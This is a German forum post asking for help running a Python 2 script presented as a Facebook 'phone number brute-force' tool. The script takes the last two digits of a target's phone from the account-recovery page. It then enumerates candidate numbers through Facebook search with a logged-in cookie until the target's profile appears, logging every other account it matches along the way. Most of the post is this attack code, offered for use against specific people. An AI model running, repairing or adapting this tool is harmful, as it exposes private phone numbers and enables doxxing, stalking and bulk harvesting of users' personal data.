wer kann helfen das Script zum laufen zu bringen ?
Man braucht nur den Facebook Namen (Usernamen)!
Der Nutzer muss eine Handy Nummer hinterlegt haben!
Code:
Facebook - Account's Phone Number Brute-Force
Affected ver facebook.com
&
m.facebook.com
Tested on facebook.com & m.facebook.com
Description:
Brute Forces Any Facebook Account's Phone Number if it Got a Linked Phone # in it.
+ Saves All Acounts with their Phone Number Until it Reaches Targets Phone Number
its a 2 in 1 Tool
Usage info:
You Should Only Know The Country Code of The Target and You Should Own a Facebook Account
1.Country Code=> US (+1) , Greece (+30) ... etc
2.Facebook Account
The Tool Runs Threads For Speed Purposes
Secret Code:
import urllib2
import re
import threading
import sys
manual_cookie = raw_input("Get Cookie From https://m.facebook.com/login/identify?ctx=recover After Submitting Your Target: ");
user = raw_input("Username: ")
a = urllib2.build_opener()
a.addheaders.append(('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0'))
a.addheaders.append(('Cookie',manual_cookie))
cop = a.open("http://m.facebook.com/login/identify?ctx=recover","ctx=recover&email="+user).read()
lasttwonumbers = re.findall('<ul style="margin:0px"><li>(.*?)</li></ul>',cop)
print "Last 2 #s of Target's Phone: "+lasttwonumbers[0][-2:]
cc = raw_input("Country Code: ")
nb_bt = raw_input("#s Between Country Code & Last 2 #s: ")
file_save = open('out.txt','a')
opener = urllib2.build_opener()
url = 'http://www.facebook.com/search/more?q=%2B'
zeroz = 0
manual_cookie = raw_input("Logged in Full Facebook Cookie: ")
print "[+] Threads are Set To Default To 5\n[+] Bruting Started"
def brute(manual_cookie,number):
page = url + number
opener.addheaders.append(('Cookie', manual_cookie))
get = opener.open(page)
html = get.read()
acc = re.findall('<div class="_zs fwb" data-bt="{"ct":"title"}"><a .*>(.*)<span class="_138">.*</span></a><span class="_5dgp">.*</span></div>', html)
accc = re.findall('<div class="_zs fwb" data-bt="{"ct":"title"}"><a .*>(.*)</a><span class="_5dgp">.*</span></div>', html)
if acc:
if re.findall(user, html):
print "\nTarget's Mobile #:\n[+] " + acc[0] + " => +" + str(number) + "\n"
file_save.write("\nTarget's Mobile #:\n[+] " + acc[0] + " => +" + str(number) + "\n\n\n")
print "Good Luck"
sys.exit()
else:
print "[+] " + acc[0] + " => +" + str(number)
file_save.write("[+] " + acc[0] + " => +" + str(number) + "\n")
elif accc:
if re.findall(user, html):
print "\nTarget's Mobile #:\n[+] " + accc[0] + " => +" + str(number) + "\n"
file_save.write("\nTarget's Mobile #:\n[+] " + accc[0] + " => +" + str(number) + "\n\n\n")
print "Good Luck"
sys.exit()
else:
print "[+] " + accc[0] + " => +" + str(number)
file_save.write("[+] " + accc[0] + " => +" + str(number) + "\n")
else:
print "[-] => +" + str(number)
while int(len(str(zeroz))) < int(nb_bt)+1:
number = str(cc)+str('%0*d' % (int(nb_bt), zeroz))+str(lasttwonumbers[0][-2:])
t=threading.Thread(target=brute,args=(manual_cookie,number,))
number = str(cc)+str('%0*d' % (int(nb_bt), zeroz+1))+str(lasttwonumbers[0][-2:])
to=threading.Thread(target=brute,args=(manual_cookie,number,))
number = str(cc)+str('%0*d' % (int(nb_bt), zeroz+2))+str(lasttwonumbers[0][-2:])
tt=threading.Thread(target=brute,args=(manual_cookie,number,))
number = str(cc)+str('%0*d' % (int(nb_bt), zeroz+3))+str(lasttwonumbers[0][-2:])
tth=threading.Thread(target=brute,args=(manual_cookie,number,))
number = str(cc)+str('%0*d' % (int(nb_bt), zeroz+4))+str(lasttwonumbers[0][-2:])
tf=threading.Thread(target=brute,args=(manual_cookie,number,))
t.start()
to.start()
tt.start()
tth.start()
tf.start()
t.join()
to.join()
tt.join()
tth.join()
tf.join()
zeroz += 5
while 1:
break
file_save.close()






geht bei dir das Script ?
